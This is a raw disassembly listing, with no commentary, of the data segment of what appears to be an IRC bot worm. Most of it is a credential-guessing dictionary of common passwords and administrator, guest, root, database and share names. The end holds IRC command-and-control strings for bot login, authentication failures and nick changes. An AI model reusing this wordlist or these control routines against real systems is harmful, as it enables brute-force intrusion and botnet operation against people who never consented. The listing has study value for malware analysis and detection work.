aBravo		db 'bravo',0            ; DATA XREF: seg000:0042C84Co
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg000:0042C848o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg000:0042C844o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg000:0042C840o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg000:0042C83Co
		align 10h
aBorn		db 'born',0             ; DATA XREF: seg000:0042C838o
		align 4
aBook		db 'book',0             ; DATA XREF: seg000:0042C834o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: seg000:0042C830o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg000:0042C82Co
		align 10h
aBoner		db 'boner',0            ; DATA XREF: seg000:0042C828o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg000:0042C824o
		align 10h
aBoard		db 'board',0            ; DATA XREF: seg000:0042C820o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg000:0042C81Co
		align 10h
aBlue		db 'blue',0             ; DATA XREF: seg000:0042C818o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg000:0042C814o
aBlow		db 'blow',0             ; DATA XREF: seg000:0042C810o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg000:0042C80Co
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg000:0042C808o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg000:0042C804o
aBlonde		db 'blonde',0           ; DATA XREF: seg000:0042C800o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg000:0042C7FCo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg000:0042C7F8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg000:0042C7F4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg000:0042C7F0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg000:0042C7ECo
		align 4
aBird		db 'bird',0             ; DATA XREF: seg000:0042C7E8o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg000:0042C7E4o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg000:0042C7E0o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg000:0042C7DCo
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg000:0042C7D8o
aBicamera	db 'bicamera',0         ; DATA XREF: seg000:0042C7D4o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg000:0042C7D0o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: seg000:0042C7CCo
aBetty		db 'betty',0            ; DATA XREF: seg000:0042C7C8o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: seg000:0042C7C4o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg000:0042C7C0o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: seg000:0042C7BCo
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg000:0042C7B8o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: seg000:0042C7B4o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg000:0042C7B0o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg000:0042C7ACo
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: seg000:0042C7A8o
aBenz		db 'benz',0             ; DATA XREF: seg000:0042C7A4o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: seg000:0042C7A0o
aBell		db 'bell',0             ; DATA XREF: seg000:0042C79Co
		align 10h
aBehead		db 'behead',0           ; DATA XREF: seg000:0042C798o
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg000:0042C794o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: seg000:0042C790o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg000:0042C78Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg000:0042C788o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg000:0042C784o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg000:0042C780o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg000:0042C77Co
		align 4
aBear		db 'bear',0             ; DATA XREF: seg000:0042C778o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg000:0042C774o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg000:0042C770o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: seg000:0042C76Co
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg000:0042C768o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: seg000:0042C764o
aBass		db 'bass',0             ; DATA XREF: seg000:0042C760o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: seg000:0042C75Co
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg000:0042C758o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg000:0042C754o
aBart		db 'bart',0             ; DATA XREF: seg000:0042C750o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg000:0042C74Co
		align 10h
aBarf		db 'barf',0             ; DATA XREF: seg000:0042C748o
		align 4
aBare		db 'bare',0             ; DATA XREF: seg000:0042C744o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: seg000:0042C740o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg000:0042C73Co
aBanks		db 'banks',0            ; DATA XREF: seg000:0042C738o
		align 4
aBank		db 'bank',0             ; DATA XREF: seg000:0042C734o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: seg000:0042C730o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg000:0042C72Co
aBanana		db 'banana',0           ; DATA XREF: seg000:0042C728o
		align 4
aBall		db 'ball',0             ; DATA XREF: seg000:0042C724o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: seg000:0042C720o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg000:0042C71Co
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: seg000:0042C718o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg000:0042C714o
aBaby		db 'baby',0             ; DATA XREF: seg000:0042C710o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg000:0042C70Co
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg000:0042C708o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg000:0042C704o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg000:0042C700o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: seg000:0042C6FCo
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg000:0042C6F8o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg000:0042C6F4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg000:0042C6F0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg000:0042C6ECo
aAsian		db 'asian',0            ; DATA XREF: seg000:0042C6E8o
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg000:0042C6E4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg000:0042C6E0o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg000:0042C6DCo
		align 4
aArmy		db 'army',0             ; DATA XREF: seg000:0042C6D8o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg000:0042C6D4o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg000:0042C6D0o
aAria		db 'aria',0             ; DATA XREF: seg000:0042C6CCo
		align 4
aApril		db 'april',0            ; DATA XREF: seg000:0042C6C8o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg000:0042C6C4o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: seg000:0042C6C0o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg000:0042C6BCo
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg000:0042C6B8o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: seg000:0042C6B4o
aAnswer		db 'answer',0           ; DATA XREF: seg000:0042C6B0o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: seg000:0042C6ACo
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg000:0042C6A8o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg000:0042C6A4o
aAnne		db 'anne',0             ; DATA XREF: seg000:0042C6A0o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg000:0042C69Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg000:0042C698o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg000:0042C694o
aAnimal		db 'animal',0           ; DATA XREF: seg000:0042C690o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg000:0042C68Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg000:0042C688o
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg000:0042C684o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: seg000:0042C680o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg000:0042C67Co
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: seg000:0042C678o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg000:0042C674o
aAndrea		db 'andrea',0           ; DATA XREF: seg000:0042C670o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg000:0042C66Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg000:0042C668o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg000:0042C664o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg000:0042C660o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: seg000:0042C65Co
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg000:0042C658o
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg000:0042C654o
aAmber		db 'amber',0            ; DATA XREF: seg000:0042C650o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg000:0042C64Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg000:0042C648o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg000:0042C644o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: seg000:0042C640o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg000:0042C63Co
aAlison		db 'alison',0           ; DATA XREF: seg000:0042C638o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg000:0042C634o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: seg000:0042C630o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg000:0042C62Co
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: seg000:0042C628o
aAlias		db 'alias',0            ; DATA XREF: seg000:0042C624o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: seg000:0042C620o
aAlexande	db 'alexande',0         ; DATA XREF: seg000:0042C61Co
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg000:0042C618o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg000:0042C614o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg000:0042C610o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg000:0042C60Co
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg000:0042C608o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: seg000:0042C604o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg000:0042C600o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg000:0042C5FCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg000:0042C5F8o
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg000:0042C5F4o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: seg000:0042C5F0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg000:0042C5ECo
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg000:0042C5E8o
		align 4
aAction		db 'action',0           ; DATA XREF: seg000:0042C5E4o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg000:0042C5E0o
aAcademic	db 'academic',0         ; DATA XREF: seg000:0042C5D8o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg000:0042C5D4o
		align 4
a000000		db '000000',0           ; DATA XREF: seg000:0042C5D0o
					; seg000:0042DFE8o
		align 4
a00000		db '00000',0            ; DATA XREF: seg000:0042C5CCo
					; seg000:0042DFE4o
		align 4
a0000		db '0000',0             ; DATA XREF: seg000:0042C5C8o
					; seg000:0042DFE0o
		align 4
a000		db '000',0              ; DATA XREF: seg000:0042C5C4o
					; seg000:0042DFDCo
aTesting	db 'testing',0          ; DATA XREF: seg000:0042C5C0o
aDeath		db 'death',0            ; DATA XREF: seg000:0042C5BCo
		align 10h
a00		db '00',0               ; DATA XREF: seg000:0042C5B8o
					; seg000:0042DFD8o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg000:0042C5B0o
					; seg000:0042E428o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg000:0042C5ACo
					; seg000:0042E424o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg000:0042C5A8o
					; seg000:0042E420o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg000:0042C5A4o
					; seg000:0042E41Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg000:0042C5A0o
					; seg000:0042E418o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg000:0042C59Co
					; seg000:0042E414o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg000:0042C598o
					; seg000:0042E410o
aXx		db 'xx',0               ; DATA XREF: seg000:0042C594o
					; seg000:0042E40Co
		align 4
asc_432C64:				; DATA XREF: seg000:0042C590o
					; seg000:0042E408o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg000:0042C58Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg000:0042C588o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg000:0042C584o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: seg000:0042C580o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg000:0042C57Co
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg000:0042C578o
		align 10h
aScript		db 'script',0           ; DATA XREF: seg000:0042C574o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg000:0042C570o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: seg000:0042C56Co
		align 4
aL337		db 'l337',0             ; DATA XREF: seg000:0042C568o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: seg000:0042C564o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg000:0042C560o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: seg000:0042C55Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg000:0042C558o
					; seg000:0042E044o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: seg000:0042C554o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg000:0042C550o
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: seg000:0042C54Co
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg000:0042C548o
aSatanik	db 'satanik',0          ; DATA XREF: seg000:0042C544o
aSatan		db 'satan',0            ; DATA XREF: seg000:0042C540o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg000:0042C53Co
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg000:0042C538o
aMatt		db 'Matt',0             ; DATA XREF: seg000:0042C534o
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg000:0042C530o
aPw		db 'pw',0               ; DATA XREF: seg000:0042C52Co
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg000:0042C528o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: seg000:0042C524o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg000:0042C520o
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: seg000:0042C51Co
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg000:0042C518o
aMypc		db 'mypc',0             ; DATA XREF: seg000:0042C514o
		align 4
aLove		db 'love',0             ; DATA XREF: seg000:0042C510o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg000:0042C50Co
aLogin		db 'login',0            ; DATA XREF: seg000:0042C508o
		align 10h
aHome		db 'home',0             ; DATA XREF: seg000:0042C504o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg000:0042C500o
					; seg000:0042E448o
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: seg000:0042C4FCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg000:0042C4F8o
					; seg000:0042E3B4o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: seg000:0042C4F4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg000:0042C4F0o
					; seg000:0042E460o
		align 10h
aPc		db 'pc',0               ; DATA XREF: seg000:0042C4ECo
		align 4
aWin		db 'win',0              ; DATA XREF: seg000:0042C4E8o
aTest123	db 'test123',0          ; DATA XREF: seg000:0042C4E4o
aAbc		db 'abc',0              ; DATA XREF: seg000:0042C4E0o
aAaa		db 'aaa',0              ; DATA XREF: seg000:0042C4DCo
					; seg000:0042E388o
aA_1:					; DATA XREF: seg000:0042C4D8o
					; seg000:0042E380o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg000:0042C4D4o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg000:0042C4D0o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg000:0042C4CCo
aIrule		db 'irule',0            ; DATA XREF: seg000:0042C4C8o
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg000:0042C4C4o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg000:0042C4C0o
					; seg000:0042E048o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg000:0042C4BCo
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg000:0042C4B8o
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg000:0042C4B4o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg000:0042C4B0o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg000:0042C4ACo
		align 4
aGod		db 'god',0              ; DATA XREF: seg000:0042C4A8o
aSex_0		db 'sex',0              ; DATA XREF: seg000:0042C4A4o
aPat		db 'pat',0              ; DATA XREF: seg000:0042C4A0o
aPatrick	db 'patrick',0          ; DATA XREF: seg000:0042C49Co
aAlpha		db 'alpha',0            ; DATA XREF: seg000:0042C498o
		align 4
a007		db '007',0              ; DATA XREF: seg000:0042C494o
					; seg000:0042E034o
a123abc		db '123abc',0           ; DATA XREF: seg000:0042C490o
					; seg000:0042E244o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg000:0042C48Co
					; seg000:0042E250o
		align 10h
a123123		db '123123',0           ; DATA XREF: seg000:0042C488o
					; seg000:0042E1F0o
		align 4
a121212		db '121212',0           ; DATA XREF: seg000:0042C484o
					; seg000:0042E1E8o
		align 10h
a111111		db '111111',0           ; DATA XREF: seg000:0042C480o
					; seg000:0042E060o
		align 4
a110		db '110',0              ; DATA XREF: seg000:0042C47Co
					; seg000:0042E1B4o
a2600		db '2600',0             ; DATA XREF: seg000:0042C478o
					; seg000:0042E33Co
		align 4
a2002		db '2002',0             ; DATA XREF: seg000:0042C470o
					; seg000:0042E328o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg000:0042C46Co
		align 10h
aEnable		db 'enable',0           ; DATA XREF: seg000:0042C468o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg000:0042C464o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg000:0042C460o
a123asd		db '123asd',0           ; DATA XREF: seg000:0042C45Co
					; seg000:0042E248o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg000:0042C458o
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: seg000:0042C454o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg000:0042C44Co
					; seg000:0042E24Co
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg000:0042C448o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg000:0042C440o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg000:0042C43Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg000:0042C434o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg000:0042C430o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg000:0042C42Co
					; seg000:0042E180o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg000:0042C428o
					; seg000:0042E068o
		align 4
a111		db '111',0              ; DATA XREF: seg000:0042C424o
					; seg000:0042E054o
a54321		db '54321',0            ; DATA XREF: seg000:0042C420o
					; seg000:0042E348o
		align 10h
a654321		db '654321',0           ; DATA XREF: seg000:0042C41Co
					; seg000:0042E34Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg000:0042C418o
					; seg000:0042E208o
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg000:0042C414o
					; seg000:0042E204o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: seg000:0042C410o
					; seg000:0042E200o
a123456		db '123456',0           ; DATA XREF: seg000:0042C40Co
					; seg000:0042E1FCo
		align 10h
a12345		db '12345',0            ; DATA XREF: seg000:0042C408o
					; seg000:0042E1F8o
		align 4
a1234		db '1234',0             ; DATA XREF: seg000:0042C404o
					; seg000:0042E1F4o
		align 10h
a123		db '123',0              ; DATA XREF: seg000:0042C400o
					; seg000:0042E1ECo
a12		db '12',0               ; DATA XREF: seg000:0042C3FCo
					; seg000:0042E1E0o
		align 4
a1:					; DATA XREF: seg000:0042C3F8o
					; seg000:0042E04Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg000:0042C3F4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg000:0042C3F0o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: seg000:0042C3ECo
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg000:0042C3E8o
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg000:0042C3E4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg000:0042C3E0o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg000:0042C3DCo
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg000:0042C3D8o
					; seg000:0042E798o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg000:0042C3D4o
					; seg000:0042E3E8o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg000:0042C3D0o
					; seg000:0042E790o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg000:0042C3C8o
					; seg000:0042E788o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg000:0042C3C4o
					; seg000:0042E784o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg000:0042C3C0o
					; seg000:0042E780o
aOwner_1	db 'Owner',0            ; DATA XREF: seg000:0042C3BCo
					; seg000:0042E77Co
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: seg000:0042C3B8o
					; seg000:0042E778o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg000:0042C3B4o
					; seg000:0042E774o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: seg000:0042C3B0o
					; seg000:0042E770o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg000:0042C3ACo
					; seg000:0042E76Co
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: seg000:0042C3A8o
					; seg000:0042E768o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg000:0042C3A4o
					; seg000:0042E764o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: seg000:0042C3A0o
					; seg000:0042E760o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg000:0042C39Co
					; seg000:0042E75Co
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: seg000:0042C398o
					; seg000:0042E758o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg000:0042C394o
					; seg000:0042E754o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: seg000:0042C390o
					; seg000:0042E750o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg000:0042C38Co
					; seg000:0042E74Co
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg000:0042C384o
					; seg000:0042E744o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg000:0042C380o
					; seg000:0042E740o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg000:0042C37Co
					; seg000:0042E73Co
aFubar		db 'fubar',0            ; DATA XREF: seg000:0042C378o
					; seg000:0042E738o
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg000:0042C36Co
					; seg000:0042E72Co
		align 10h
aDb2		db 'db2',0              ; DATA XREF: seg000:0042C35Co
aOracle		db 'oracle',0           ; DATA XREF: seg000:0042C358o
					; seg000:0042C444o
		align 4
aDba		db 'dba',0              ; DATA XREF: seg000:0042C354o
aDatabase	db 'database',0         ; DATA XREF: seg000:0042C350o
					; seg000:0042C438o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg000:0042C34Co
					; seg000:0042CAD8o
aGuest_0	db 'guest',0            ; DATA XREF: seg000:0042C348o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg000:0042C344o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg000:0042C340o
					; seg000:0042DA6Co
aStudent	db 'student',0          ; DATA XREF: seg000:0042C33Co
					; seg000:0042D9B4o
aOwner		db 'owner',0            ; DATA XREF: seg000:0042C338o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: seg000:0042C334o
					; seg000:0042C450o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg000:0042C32Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg000:0042C320o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg000:0042C31Co
		align 10h
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_413627:loc_413732o
					; seg000:0042C310o ...
		align 10h
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg000:off_42C264o
a@room		db '*@room',0           ; DATA XREF: seg000:off_42C260o
		align 4
dword_433124	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C682+35Co
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_433150	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C682+28Ao
dword_43315C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB75+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCDD+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCDD+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o
		align 4
dword_4331D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CBBo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_433208	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C9Eo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_43323C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C40o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_43327C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5BD0o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BC1o
					; sub_40CE55+5C31o
		align 10h
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BADo
					; sub_40CE55+5C1Do
		align 4
asc_433308:				; DATA XREF: sub_40CE55+5B7Do
		unicode	0, <~>,0
dword_43330C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5B2Co
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_433344	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A7Eo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_433384	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A73o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_4333C4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A0Fo
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
